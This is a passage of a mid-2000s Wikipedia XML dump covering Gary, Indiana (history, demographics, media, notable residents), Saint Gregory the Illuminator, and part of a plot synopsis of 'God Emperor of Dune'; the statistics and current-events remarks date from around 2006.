      <comment>/* Demographics */ 1970 pop</comment>
      <text xml:space="preserve">{{Infobox City-NoFlag |
official_name = City of Gary, Indiana |
nickname = City of the Century |
image_flag =|
image_seal =|
image_map = US-IN-Gary.png |
map_caption = Location in the state of [[Indiana]], [[United States|USA]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Lake County, Indiana|Lake]]|
leader_title = [[Mayor]] |
leader_name = [[Scott King]] |
area_note =|
area_magnitude = 1 E8 |
area_total = 148.3 |
area_land = 130.1 |
area_water = 18.2 |
population_as_of = 2000 |
population_note =|
population_total = 102,746 |
population_density = 789.8 |
timezone = [[Central Standard Time|CST]] |
utc_offset = -6 |
timezone_DST = [[Central Daylight Time|CDT]] |
utc_offset_DST = -5 |
latitude = 41&amp;deg;34'51&quot; N |
longitude = 87&amp;deg;20'44&quot; W |
website = www.gary.in.us |
footnotes =|
}}

'''Gary''' is the largest city located in [[Lake County, Indiana|Lake County]] in northwest [[Indiana]], [[United States|USA]], near the city of [[Chicago, Illinois|Chicago]]. As of the [[2000]] [[U.S. census|census]], the city had a total population of 102,746 and is the largest Indiana city that is not a county seat. It borders [[Lake Michigan]] and is known for its large [[steel mill]]s (and the attendant [[air pollution]]) and as the hometown of the musical Jackson family. Gary is home of [[Indiana University Northwest]], a regional campus of the [[Indiana University]] system.

Gary, Indiana is also the subject of a song in the musical ''[[The Music Man]],'' and songs and albums by The Jacksons: &quot;Going Back to Indiana,&quot; and &quot;2300 Jackson Street.&quot;

==History==

The city was founded in [[1906]] by the [[United States Steel Corporation]] as the home for its new plant.  The city was named after the chairman of U.S. Steel, [[Elbert Henry Gary|Elbert H. Gary]].  

Among U.S. cities of 100,000 or more, Gary has the highest percentage of [[African-American]] residents (as of the 2000 U.S. census). Gary had one of the nation's first African-American mayors, [[Richard G. Hatcher]], and hosted the ground-breaking 1972 National Black Political Convention.  At the same time, Gary suffered the urban phenomenon of &quot;[[white flight]]&quot; as many Caucasian residents left Gary and relocated to the suburbs.

Gary's fortunes have risen and fallen with those of the steel industry.  In the [[1960s]], like many other American urban centers, Gary entered a downward spiral of decline.  Gary's decline was brought on by layoffs at the steel plants. [[US Steel]] continues to be a major steel producer, but with only a fraction of its former level of employment.  While Gary has failed to attract many major businesses since its population peak, two casinos opened along the Gary lakeshore in the [[1990]]s.  Today, Gary faces numerous difficulties, including unemployment, major economic problems, and a high rate of [[crime]].

In the [[1957]] Meredith Wilson's Broadway musical ''[[The Music Man]]'' featured the song, &quot;Gary, Indiana,&quot; describing the alleged ''alma mater'' of lead character Professor Harold Hill (&quot;Gary Conservatory, Class of '05!&quot;).  The joke in Hill's claim, of course, is that the city of Gary wasn't founded until '06.  Wilson's musical, set in [[1912]], was later made into two movies.

&lt;br&gt;
Song: &quot;GARY, INDIANA&quot; from Meredith Wilson's &quot;THE MUSIC MAN&quot;:

''&lt;br&gt; Gary, Indiana, Gary Indiana, Gary, Indiana,
''&lt;br&gt; Let me say it once again.
''&lt;br&gt;Gary, Indiana, Gary, Indiana, Gary, Indiana,
''&lt;br&gt;That's the town that &quot;knew me when.&quot;

''&lt;br&gt;If you'd like to have a logical explanation
''&lt;br&gt;How I happened on this elegant syncopation,
''&lt;br&gt;I will say without a moment of hesitation
''&lt;br&gt;There is just one place
''&lt;br&gt;That can light my face.

''&lt;br&gt;Gary, Indiana, Gary, Indiana,
''&lt;br&gt;Not Louisiana, Paris, France, New York, or Rome,
''&lt;br&gt;but Gary, Indiana,
''&lt;br&gt;Gary, Indiana,
''&lt;br&gt;Gary Indiana,
''&lt;br&gt;My home sweet home.''

==Recent events==
Before his recent legal troubles, singer and famous former Gary resident [[Michael Jackson]] visited the city and promised to build a performing arts center for Gary, though this has not yet come to pass.
 
Gary has been in the news in connection with politicking over the construction of a new [[airport]] for Chicago.  Because the Gary airport is closer to downtown Chicago than the other proposed site for a third Chicago airport at [[Peotone, Illinois|Peotone]], [[Illinois]], some have argued that building a new airport at Peotone is not necessary, and that money would be better spent on improving the [[Gary/Chicago International Airport]].  This plan is backed by the [[mayor|mayors]] of Gary and Chicago, while the Illinois state government is in favor of construction at Peotone.  Tax revenues from a new airport at Peotone would go to the Illinois state government, while those from an expanded Gary airport would go to a regional airport authority, and thus to the cities of Chicago and Gary. Most agree that an airport in Gary would be the best solution, not only because of its proximity to downtown Chicago, but also for the fact that thousands of acres of farmland are being seized for the Peotone airport that may or may not even be built.

== Geography ==
Gary is located at 41&amp;deg;34'51&quot; North, 87&amp;deg;20'44&quot; West (41.580786, -87.345449){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 148.3 [[square kilometre|km&amp;sup2;]] (57.2 [[square mile|mi&amp;sup2;]]).  130.1 km&amp;sup2; (50.2 mi&amp;sup2;) of it is land and 18.2 km&amp;sup2; (7.0 mi&amp;sup2;) of it is water.  The total area is 12.25% water.

Gary sits on the southern end of the former lake bed of the prehistoric [[Lake Chicago]].  Most of the city's soil is nearly pure sand.  Much of the sand in the Gary area was used in the manufacturing of glass.

== Neighborhoods ==
*Aetna
*Ambridge
*Black Oak
*Brunswick
*Downtown
*Glen Park
*Ivanhoe
*Marshalltown
*Midtown
*Miller
*Tarrytown
*Tolleston
*Westbrook

== Demographics ==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px;text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Gary &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|[[1900]] || NA
|- 
|[[1910]] || 16,802
|- 
|[[1920]] || 55,378
|- 
|[[1930]] || 100,426
|- 
|[[1940]] || 111,719
|- 
|[[1950]] || 133,911
|- 
|[[1960]] || 178,320
|-
|[[1970]] || 175,415 
|- 	 
|[[1980]] || 151,953	 
|- 	 
|[[1990]] || 116,646	 
|- 	 
|[[2000]] || 102,746 
|-	 
|[[2004]] || 99,516	 
|}

As of the [[census]]{{GR|2}} of [[2000]], there are 102,746 people, 38,244 households, and 25,623 families residing in the city.  The [[population density]] is 789.8/km&amp;sup2; (2,045.5/mi&amp;sup2;).  There are 43,630 housing units at an average density of 335.4/km&amp;sup2; (868.6/mi&amp;sup2;).  The racial makeup of the city is 84.03% [[African American|Black]], 11.92% [[Race (U.S. Census)|White]], 0.21% [[Race (U.S. Census)|Native American]], 0.14% [[Race (U.S. Census)|Asian]], 0.02% [[Race (U.S. Census)|Pacific Islander]], 1.97% from [[Race (U.S. Census)|other races]], and 1.71% from two or more races.  4.93% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 38,244 households out of which 31.2% have children under the age of 18 living with them, 30.2% are [[Marriage|married couples]] living together, 30.9% have a female householder with no husband present, and 33.0% are non-families. 28.9% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.66 and the average family size is 3.28.

In the city the population is spread out with 29.9% under the age of 18, 10.1% from 18 to 24, 25.1% from 25 to 44, 22.2% from 45 to 64, and 12.8% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 84.6 males.  For every 100 females age 18 and over, there are 78.0 males.

The median income for a household in the city is $27,195, and the median income for a family is $32,205. Males have a median income of $34,992 versus $24,432 for females. The [[per capita income]] for the city is $14,383.  25.8% of the population and 22.2% of families are below the [[poverty line]].  Out of the total population, 37.9% of those under the age of 18 and 14.1% of those 65 and older are living below the poverty line.

==Features==
[[Image:Gary Steelyard.jpg|thumb|left|100py|U.S. Steel Yard, Gary]]

===Sports Franchises===
The following [[sports]] teams are based in Gary:

*The [[Gary Steelheads]], a [[minor league]] [[basketball]] team, part of the [[Continental Basketball Association]]. Their home arena is Gary's [[Genesis Convention Center]].

* The [[Gary SouthShore Railcats]], a minor league [[baseball]] team, part of the [[Northern League (baseball)|Northern League]]. The team plays in Gary's [[U.S. Steel Yard]] baseball park.

Gary is also a major stop along the [[South Shore Line|South Shore railroad]], a commuter rail system (and the United States' last operating [[Interurban streetcar|interurban]] train system), running between Chicago and [[South Bend, Indiana|South Bend]], Indiana.

===Local media===
*Newspapers
**Gary is served by two newspapers with offices outside the city, the ''Post-Tribune,'' which was originally located in Gary, and the ''Times,'' previously known as the ''Hammond Times''. Offices and facilites for the ''Times'' are in nearby [[Munster, Indiana|Munster]], while the ''Post-Tribune'' is based in [[Merrillville]].

*Broadcast
**[[WPWR-TV]] (Channel 50) is the Chicago [[UPN]] affiliate, but is licensed to Gary. Studios and transmitters are co-located with [[WFLD-TV|WFLD-TV's]] in Chicago, and like WFLD, WPWR is owned by [[Fox Television Stations]].
**[[WYIN]] (Channel 56) is a [[PBS]] affiliate licensed to Gary. Their studios are in Merrillville.
**[[WWCA]] (AM 1270) is presently a [[Relevant Radio]] owned-and-operated radio station, carrying programming from the Catholic-oriented Relevant Radio network.
**[[WLTH]] (AM 1370) carries syndicated talk programming, and is owned by Pluria Marshall Jr.
**[[WGVE]] (FM 88.7) is owned by the [[Gary Community School Corporation]], and is used as a teaching facility. Programming is maintained by students in the broadcast program at the Gary Career Center. WGVE also carries limited [[NPR]] programming.

Gary is also served by nearby [[Chicago]] radio and TV stations, and by other nearby stations in Illinois and Indiana.

== Notable people from Gary, Indiana==
*[[Dick Barnett]]
*[[Brian Blair]]
*[[Frank Borman]]
*[[Avery Brooks]]
*[[Vic Bubas]]
*[[Joseph E. Finerty]]
*[[Richard G. Hatcher]]
*[[Tom Harmon]]
*[[LaTroy Hawkins]]
*[[Walter Hellman]]
*The children in the musical '''Jackson family''':
**[[Michael Jackson]]
**[[Janet Jackson]]
**[[Jermaine Jackson]]
**[[LaToya Jackson]]
**[[Tito Jackson]]
**[[Marlon Jackson]]
**[[Randy Jackson (musician)|Randy Jackson]]
**[[Jackie Jackson]]
**[[Rebbie Jackson]]
**[[The Jackson 5]]
*[[Alex Karras]]
*[[Ron Kittle]]  
*[[Myron W. Krueger]]
*[[Karl Malden]]
*[[Angel Manfredy]]
*[[William H. Marshall]]
*[[Kym Mazelle]]
*[[Lloyd McClendon]]
*[[James McCracken]]
*[[Karen McDougal]]
*[[Ralph McQuarrie]]
*[[Christopher Peterson]]
*[[Dan Plesac]]
*[[Jesse Powell]]
*[[Ronnie Rancifer]]
*[[Jimmy Reed]]
*[[Glenn Robinson]]
*[[Paul Samuelson]]
*[[Herschel Sparber]]
*[[Joseph Stiglitz]]
*[[Jevetta Steele]]
*[[Hank Stram]]
*[[Sharmell Sullivan]]
*[[Johnathan Thomas]]
*[[Ernest Thomas]]
*[[Pete Visclosky]]
*[[Deniece Williams]]
*[[Fred Williamson]]
*[[Tony Zale]]

== External links ==
* [http://www.gary.in.us/ City of Gary, Indiana Official Page]
* [http://www.garychicagoairport.com/  Gary/Chicago International Airport - GYY]
* [http://wwca.relevantradio.com/docs/index.asp WWCA Radio]
* [http://www.post-trib.com/ ''The Post-Tribune'']
* [http://www.thetimesonline.com/ ''The Times'']
* [http://upnchicago.com/ WPWR-TV Gary - UPN Chicago]
* [http://www.wyin.com/ WYIN Gary - PBS 56]
* [http://www.garycsc.k12.in.us/ Gary Community School Corporation]
{{Mapit-US-cityscale|41.580786|-87.345449}}



{{Chicagoland}}
{{Indiana}}

[[Category:Cities in Indiana]]
[[Category:Lake County, Indiana]]

[[de:Gary (Indiana)]]
[[eo:Gary (Indianao)]]
[[fr:Gary (Indiana)]]
[[io:Gary, Indiana]]
[[ja:ゲーリー (インディアナ州)]]
[[no:Gary]]
[[sv:Gary]]</text>
    </revision>
  </page>
  <page>
    <title>Gregory the Illuminator</title>
    <id>12651</id>
    <revision>
      <id>38536765</id>
      <timestamp>2006-02-06T23:56:32Z</timestamp>
      <contributor>
        <username>Karsetsi</username>
        <id>729381</id>
      </contributor>
      <text xml:space="preserve">'''Saint Gregory the Illuminator''' (alternate: [[Armenian language|Armenian]]: Գրիգոր Լուսաւորիչ  translit. ''Grigor Lusavorich'', [[Greek language|Greek]]: ''Gregarios Phoster'' or ''Photistes''), the founder and patron [[saint]] of the [[Armenian Apostolic Church]], was born about [[257]] AD.

[[Image:Stgregoryilluminator.jpg|left|200px|thumb|Saint Gregory]]
He belonged to the royal line of the [[Arsacid Dynasty]], being the son of some Parthian named Anak, who assassinated [[Chosroes]] of [[Armenia]], and thus brought ruin on himself and his family. His mother's name was Okohe, and the Armenian biographers tell how the first [[Christianity|Christian]] influence he received was at the time of his conception, which took place near the monument raised to the memory of the holy apostle [[Thaddeus]]. Educated in [[Caesarea Mazaca|Caesarea]] in [[Cappadocia]] by a Christian nobleman Euthalius, Gregory sought, when he came to man's estate, to introduce the Christian doctrine into his native land. At that time [[Tiridates IV]], a son of Chosroes, sat on the throne. Influenced partly by the fact that Gregory was the son of his father's enemy, he subjected him to much cruel usage, and imprisoned him for fourteen years. It would be useless to recount the various forms of torture which the orthodox accounts represent the saint to have endured without permanent hurt; almost any one of his twelve trials would have been certain death to an ordinary mortal. But vengeance and madness fell upon the king, and at length Gregory was called forth from his pit to restore his royal persecutor to reason, by virtue of Gregory's saintly intercession.

The cause of Christianity was now secured; king and princes and people vied with each other in obedience to Gregory's instruction. As a result, in AD [[301]], Armenia became the first country to adopt Christianity as its [[state religion]]. (More recent research puts the date at [[314]] AD.) Convents, churches and schools were established. In [[302]] AD, Gregory received consecration as [[Catholicos of Armenia|Patriarch of Armenia]] from Leontius of Caesarea. In [[318]] Gregory appointed his son [[Aristaces]] to be his successor. About [[331]] he withdrew to a cave in the mountain [[Sebuh]] in the province of [[Daranalia]] in Upper Armenia, and there he died a few years later, unattended and unobserved. When it was discovered he was dead his corpse was removed to the village of Thodanum or Tharotan. The remains of the saint were scattered far and near in the reign of Zeno. His head is believed to be now in [[Italy]], his right hand at [[Etchmiadzin]], and his left at [[Kozan, Adana|Sis]]. It is almost impossible to get at Gregory's real personality through the tangled growth of ecclesiastical legend; but he would appear to have possessed some of that consideration for expediency which is so frequently of service to the reformer. While he did his best to undermine their system, he left the old pagan priests in enjoyment of their accustomed revenues. 

A number of [[homilies]], possibly spurious, several prayers, and about thirty of the canons of the Armenian Church are ascribed to Gregory. The homilies appeared for the first time in a work called ''Haschacnapadum'' at [[Constantinople]] in [[1737]]; a century afterwards a Greek translation was published at [[Venice]] by the Mekhiterists; and they have since been edited in German by J.M. Schmid (ratisbon, [[1872]]). The original authorities for Gregory's life are [[Agathangelos]], whose ''History of Tiridates'' was published by the Mekhitarists in [[1835]]; [[Moses of Chorene]], ''Historiae Armenicae''; and [[Simeon Metaphrastes]]. A ''Life of Gregory'' by the vartabed Matthew, published in Armenian at Venice in [[1749]], was translated into English by Rev. S.C. Malan, [[1868]].


==See also==
[[Khor Virap]]

----
This article was taken from the 9th edition (1880) of an unnamed encyclopedia, and has since been edited on Wikipedia.

[[Category:257 births]]
[[Category:330s deaths]]
[[Category:Saints]]
[[Category:Catholicoi of Armenia]]
[[Category:Catholicoi of Cilicia]]
[[Category:Armenian Apostolic Church]]

[[de:Gregor der Erleuchter]]
[[pl:Grzegorz Oświeciciel]]
[[ru:Григорий Просветитель]]
[[sv:Gregorius Upplysaren]]
[[zh:格列高利 (启蒙者)]]</text>
    </revision>
  </page>
  <page>
    <title>God Emperor of Dune</title>
    <id>12653</id>
    <revision>
      <id>40363924</id>
      <timestamp>2006-02-20T01:54:27Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{DuneSeries}}

[[Image:GodEmperorofDune.jpg|thumbnail|200px|God Emperor of Dune]]

'''God Emperor of Dune''' is a [[science fiction]] novel by [[Frank Herbert]] &amp;mdash;the fourth of six novels within the ''[[Dune universe|Dune]]'' series.

3,500 years have passed since [[Paul Atreides]] became the [[messiah]] of the [[Fremen]] and the Emperor of the universe.
His son, [[Leto Atreides II|Leto]], seeing a different path than his father, accepted the mantle of godhead from the [[Fremen]] and began to transform himself into a monster of the [[desert]], a [[sandworm (dune)|sandworm]], that has dominated the ecology of Dune for millennia. Leto is confident that his [[Golden Path]] &amp;mdash; a course into the future in which humanity's survival is guaranteed &amp;mdash; is now secure and he has started looking for a way out.  

{{spoiler}}

==Synopsis==
The novel, God Emperor of Dune, places us in a very different universe to that of [[Children of Dune]]. [[Leto Atreides II]] still lives and rules the Empire three thousand years later, owing to his decision in the previous novel, to merge his human body with [[sandtrout]]. Leto is now much further along in his journey to becoming a worm, retaining only useless flippers for arms and legs, he moves about on a mechanical wagon; the one physical remnant of humanity Leto has retained is his human face. From the beginning of the novel, our moral viewpoint is played with a fine hand. In Children of Dune, Leto II was a hero, but three thousand years on this view seems far more doubtful. Does Leto still retain his humanity? Does he remain a force for  good? 

Our action begins with a deadly chase, a band of rebel humans is pursued by a pack of deadly genetically modified wolves; and is being hunted down one by one. As we join the chase only three still survive and almost immediately another is brought down horrifically. The penultimate runner, hampered by an injury, makes a brave stand to try and give the last runner a few more precious  minutes. The last runner, a woman on her last reserves, makes the safety of the opposite bank of the Idaho River; from this safety - [[Siona Atreides|Siona]] - looking across at the baying wolves, curses the Emperor of Arrakis, a curse made all the more meaningful, because we learn that she too is an Atreides. 

Our sense of right and wrong is further challenged by the behaviour of [[Duncan Idaho]]. In order to ease the loneliness of the centuries, Leto has been bringing back Duncan Idaho [[ghola]]s as a companion and leader for his army.  Leto, prewarned by the [[Spacing Guild]], is aware that Duncan has purchased a lasgun from an [[Ixians|Ixian]], and probably intends to try and assassinate him. [[Leto Atreides II]] is not particularly shocked, because we learn that most of the time the ghola Duncan Idahos eventually turn against him, a fact that makes us wonder how corrupt Leto must be to make Duncan Idaho turn against an Atreides.

However, Duncan, despite buying his weapon, has not fully convinced himself of his intentions and seeks further justification to kill Leto. During his meeting with Leto, Duncan acts as if nothing is unnatural, as if it was nothing more than a normal meeting between the two of them. In the midst of the meeting, we learn that the rebels have escaped with some of Leto's personal diaries and a map to his citadel. Leto II lapses into daydreams during the conversation, and Duncan takes this chance to try and kill him. However, Leto reacts faster than any human could, leaping instinctively in the air and crushing Duncan with his body, almost before Duncan gets off a shot. Leto is barely injured, losing only a seemingly unnecessary flipper in the process. The flipper is an important symbol, however, because it used to be one of his legs, and the fact that it was destroyed distances Leto still further from the human that he once was. 

[[Moneo Atreides|Moneo]], Leto's chief minister, is called in to arrange the disposal of Duncan. Moneo, we learn, had seen similar scenes before and is mostly bothered by how it will affect the routine of government. To make our moral quandaries even more confusing we discover that loyal Moneo is the worried father of the rebellious Siona. During their conversation about her, we discover that Siona is in some way vital to Leto's plans. 

We have, however, not seen the end of Duncan Idaho. The Tleilaxu were aware of Duncan's plans and send along a new Idaho before the previous version has even died. The latest Duncan is met by two members of Leto's personal guard (called [[Fish Speakers]]). They, being used to the arrival of Duncan, tell him as much as he needs to know and as little as Leto wants him to know, to best prepare him for his meeting with the God Emperor. Duncan is unsettled, not only be the fact he learns he has been brought back into a world three thousand years after his own, but also by the Fish Speakers. The fact they are female military offends Duncan's sensibilities, but in addition he can see that they have been heavily conditioned to obey without question, which is opposed to the original Atreides ideal. 

The rebels on [[Arrakis]] give the encrypted diaries of Leto to the Ixian ambassador in a secret meeting. The Ixian ambassador mocks Siona for her disguise, asking why she bothers when it is well known she is the leader of the rebels. He goes on to mock her 'rebellion' by asking her when she intends to join the God Emperor, since one generation after another the young Atreides have 'played' at being rebels before being called into the loyal service of Leto. But Siona turns the tables on him by threatening blackmail. Also at the end of the meeting Siona unmasks a spy, sending him back to Leto with a message. Ironically, however, the spy is actually her father's, and it is Siona's closest companion, [[Nayla]], who is Leto's true spy. 

Moneo and Leto meet again and we learn that the new Duncan is untainted by the [[Bene Tleilax]]. In the past, the Bene Tleilax had attempted genetic tampering; to which Leto had responded with violent sanctions. Moneo and Leto discuss Leto's human breeding programme, which he had taken from the [[Bene Gesserit]], much to their disquiet. We also learn that Duncan Idaho has played an important role in this programme and that, in Leto's own words, he rather strangely sees himself as a predator on humanity, a concept that Moneo fails to understand, much to Leto's disappointment. Moneo also raises his fears about his daughter, which Leto sympathises with, but says that she must be tested and that Moneo should trust in his daughter's capabilities. 

Later, Leto meets Nayla Nycalliste, his spy in Siona's camp. This is a very disquieting meeting, because we discover that Nayla is a complete fanatic, and utterly devoted to Leto, taking his title of God Emperor utterly literally. He orders her, for unknown reasons, to obey every command of Siona. During their conversation we learn from Nayla that Siona is ready for testing, a fact Leto was unsure of, because she isn't always visible to his prophetic dreams. We do learn, in Leto's favour, that he is not proud of his accomplishment with Nayla, and regrets the necessity of such religious conditioning. 

Leto initially meets Duncan in a darkened room so Duncan can gradually become adjusted to him. Leto begins the conversation using Paul Atreides' voice, in order to calm Duncan down. He first tells Duncan that it was a face dancer pretending to be Paul who triggered Duncan's memories, rather than a ghola version. Leto then goes on to confirm the things that the Tleilaxu had told Duncan were true &amp;mdash; that he was turning into a worm, that it was three thousand years later, that Leto has brought Duncan back many times, etc. Once he calms Duncan's near hysteria, he changes over to his real voice, and switches on the light so Duncan can see him as he really is. He explains why he has done what he has done; he then reveals that he needs Duncan to command his army. Duncan then gets sidetracked by his chauvinism into asking why Leto has an all female army; Leto gives the short answer that they minimize the level of violence. After having his doubts about the religious mantle Leto has taken on mollified, Duncan swears into Leto's service with the caveat that if he is worse than [[Baron Vladimir Harkonnen]] then he will turn against him. It is disquieting to discover that Leto is amused that the Baron is Duncan's measure of true evil.

The next day Moneo and Duncan talk. Duncan returns to the subject of his doubts &amp;mdash; the female army and the religion Leto has created. They first discuss Leto's ideas about the value of a female army, that basically unless really well disciplined the male army is essentially rapist and a threat to its own population. Duncan is forced to reluctantly accept these arguments when he examines his own personal experience. During the conversation Duncan learns that Moneo is an Atreides and also a descendant of previous Duncan Idaho gholas, that Leto had taken over the Bene Gesserit breeding programme. Duncan also questions Moneo about the 'god business' and is shocked and pleased that Moneo makes no attempt to defend it and says in point of fact that Leto himself calls it a 'Holy Obscenity.' 

We are then introduced to [[Anteac]] and Luyseyal, [[Reverend Mother (Dune)|Reverend Mothers]], who have come to Arrakis to represent the [[Bene Gesserit]]; they are disquieted by their poor accommodation, and thus, lack of favour in the eye of the God Emperor. They learn that the Ixian embassy has been overtaken by face dancers and that an attack is planned on the God Emperor that day and try to warn Leto. 

However, the Bene Gesserit do not reach the God Emperor in time and so while the God Emperor is traveling between cities, the Emperor's convoy is attacked by Face Dancers who try to confuse the Fish Speaker guards by imitating Duncan Idaho. Duncan, however, foils their plan by stripping himself of his clothes and the unprepared Face Dancers are unable to copy him, allowing the Fish Speakers to easily slaughter them. The God Emperor tells his guards to hide all evidence of the battle, so the Tleilaxu will think that their attack didn't even inflict a single casualty. 

The Ixians send [[Hwi Noree]] as their new ambassador to Leto, and he is immediately attracted to her. She is a highly empathic and intelligent woman, who has greatly admired Leto from afar and almost immediately understands him. She is exactly the kind of woman that Leto would have wanted as a mate if he were still truly human. He is aware that she quite obviously is some kind of Ixian trap, since obviously someone must have deliberately created and trained her to be such a perfect fit for him, but he cannot resist the pleasure of her company even so. As such, she is a kind of delicious agony for him because his sexual organs have long since disappeared. Furthermore, he possessed no foreknowledge of her, which meant that somehow the Ixians had managed to hide her existence from his prophetic dreams. 

The Bene Gesserit are in the God Emperor's good graces for attempting to warn him of the attack on his convoy and retain his good`will even though they bring concentrated spice essence with them in the hope of triggering his transition to a worm. In fact, this attempt on his life amuses him because it is so unusual; and so he treats this attack as a gift, offering himself as an oracle as a reward. Of the two Bene Gesserit, Leto is insulted at the naivety of Luylesal but is impressed by the abilities of the other, Anteac, and, semi-jokingly, offers her a job working for him. 

Leto decides that Siona has been left independent for long enough and so sends his Fish Speakers to induct her into his service. She does not enter his service willingly and is in fact guarded at all times. Leto intends to breed Siona with Duncan Idaho, and so he arranges for them to go on a trip together expecting that things will happen naturally sooner or later. Siona, angered by this, decides to take Duncan to Goygoa village. This is a cruel decision by Siona, because Duncan is stared at as soon as he arrives in the village and is unpleasantly surprised to be confronted by a young boy, who he learns was fathered by the previous Duncan Idaho. Unable to resist the temptation, he identifies the mother of the child, and immediately see her resemblance to [[Jessica Atreides]]. Roomed together by the Fish Speakers, Siona and Duncan swap insults in their irritation at Leto's breeding plans for them both; but decline any further intimacy. 

When he returns Duncan is introduced to the [[Siaynoq]], the major religious ceremony of the Fish Speakers during which they celebrate their unique relationship with the God Emperor. Duncan witnesses it firsthand and is stunned by the power of it. During the ceremony Duncan reswears his allegiance to the Atreides, though not directly to Leto. The whole experience does little to ease Duncan's doubts. 

Hwi Noree and Leto meet for the second time. Hwi Noree is hurriedly called to audience with Leto. When she arrives, she learns that her embassy had been overrun by face dancers and the only reason she had survived was because they needed the time to perfect their mimicking of her in order to fool the God Emperor. Shocked by this, she wonders why the God Emperor hadn't wiped out the Face Dancers. He answers that they have their uses and that the only political group Leto had ever actually considered destroying were the Bene Gesserit; because they are so near to what they should be, yet so far. Finally he asks her to his bride, though he 'reassures' her that he is incapable of being her physical lover; he tells her that she can have children with a discreet lover of his choosing if she so wishes. 

Duncan and Leto talk again; Duncan is still filled with doubts and confusion, and he doesn't understand the shape of Leto's empire. Leto laughs at this, and says that realising one doesn't know something is the first step to understanding. Leto then explains more about his Empire; he tells Duncan that he has no prisons because breaking the law in his Empire is a religious crime and thus punishable with death, which does not make Duncan feel any better because he realizes that Leto is the leader of a group that is judge, jury, and executioner. At the conclusion of the conversation, Duncan tells Leto that he will not worship him, to which Leto remarks that the Fish Speakers understand that he has special dispensation. 

Moneo meets with Leto with news. He first suggests that Anteac is a secret mentat, a skill prohibited in the Empire. Leto agrees, but says that it amuses him. Moneo goes onto say that they have pressured the Bene Tleilaxu into giving him information about Hwi Noree. The Bene Tleilaxu played a role in her birth, by supplying the Ixians with technology to do a cellular restructuring. Leto suggests that it is interesting that Hwi Noree seems the total opposite in character to Malky, the previous Ixian ambassador, with whom Leto once had a close friendship.  Malky was  crafted by the Ixians as a being of pure cynicism and amorality. 

Hwi Noree and Leto talk again. Leto explains the shape of his Empire and what he is trying to produce; he talks about how in human affairs each cycle is a reaction to the previous cycle. He explains what will happen when he goes into the sands and his empire falls apart. Basically, he believes that the process will make humankind more mature, through being confronted by the same desperate experience of the disasters his death will cause. Hwi Noree, unlike Moneo and the Duncans, understands what Leto means, which pleases Leto greatly. At the end of the audience Leto asks her if she has given any thought to his proposal, and she answers that she has chosen to marry him. 

Upon leaving Leto, Hwi goes to see Anteac and shares her knowledge of the environment in which she was brought up. Anteac has been conscripted by Leto to lead a Fish Speaker assault on Ix, to wrest the secret of Hwi's origins. Anteac is shocked at the knowledge that Hwi is to marry Leto and at the same time annoyed that her order had allowed such a talented woman to pass through their training programme without turning her into a Bene Gesserit. 

Later, the city of Onn rises in rebellion against Leto; Leto is completely surprised, which is interesting in itself. The rebels attack the Ixian embassy, which, because of the threat to Hwi, sends Leto into a rage;  he leaps out of his cart, and attacks the rebels. The Fish Speakers, using the confusion and panic his assault causes, wipe out the rebels. Regaining his calm upon discovering Hwi is safe, Leto regrets his intervention because he has created a new dependency among his Fish Speakers; now they know that he awaits in the wings, a seemingly invincible death machine. Leto realizes it will take generations to erase this dependency. Leto also realizes that this attack must have been planned by Malky, hidden away within the Ixian device that protects people from his vision. 

The announcement that Leto is marrying Hwi Noree upsets Moneo immensely; he believes the wedding will bring Leto's enemies in alliance against him. Moneo asks Leto for an explanation for why Leto must do this; Leto tells him that it is because of emotions, that Hwi provokes glorious emotions within him that he had long thought he had lost, restoring his sense of humanity. During the conversation we learn more about Moneo's abilities and limits; Leto tries to raise Moneo's level of awareness but ultimately fails. Moneo's idea of himself limits him from being all he could be. 

After the frustration of having to deal with Moneo, Leto answers Duncans calls for audience. Duncan, Leto realizes, is suffering from what he call 'Since Syndrome', something which happens to most gholas, but with this one had happened much earlier than ever before. Duncan feels out of sync with this time and place. Duncan is also upset by the news Leto is marrying Hwi, a woman he finds intensely attractive also; Leto orders him not to spend time with her. 

Some time later Moneo and Leto discuss Duncan. Leto is irritated that Duncan is courting Hwi Noree. However, Moneo informs him that it is Hwi Noree herself who is initiating the meetings; he says that Hwi feels a great deal of sympathy for Duncan because he is so out of his time and place. But this does not calm Leto because he says Duncan is very clever with women. Leto asks when a new Duncan ghola can be provided by the Tleilaxu; Moneo says that the Tleilaxu claim they are having problems and that it will be a year. In response, Leto orders that his marriage to Hwi be hurried along. 

Leto meets with Siona to assess her readiness for the testing. They talk about many subjects, including his worm body, and the state of his Empire. She points out that his position is much weaker now, because of his reaction to the attack on the Ixian embassy, people now realize that he is vulnerable to attacks on the people he loves. She goes on to question his right to rule which is the root of her rebelliousness. His response is that he rules by right of loneliness and sacrifice. This puts Siona on the defensive, because she had never considered that Leto might have any rights as a consequence of his uniqueness. 

Moneo and Duncan talk. Moneo tries to get Duncan to call off his pursuit of Hwi Noree. The conversation becomes very heated and Duncan says a number of critical things about the [[Leto II|God Emperor]], within the hearing of Fish Speakers. When Duncan finally returns to his room he finds Hwi waiting for him. She had been told of his latest outbursts by some sympathetic Fish Speakers and had rushed to calm him down. However, things do not get any calmer. Hwi says that she was produced to seduce the God Emperor, to seduce an Atreides, and that he, Duncan, is as much the Atreides ideal as any. In the heat of the emotional interchange, Hwi Noree and Duncan have passionate sex. But to Duncan's great disappointment she tells him afterwards that she's still going to marry the God Emperor. When Duncan asks why, she says it is because he has the greatest needs of the two of them, the greatest need in all the Empire. 

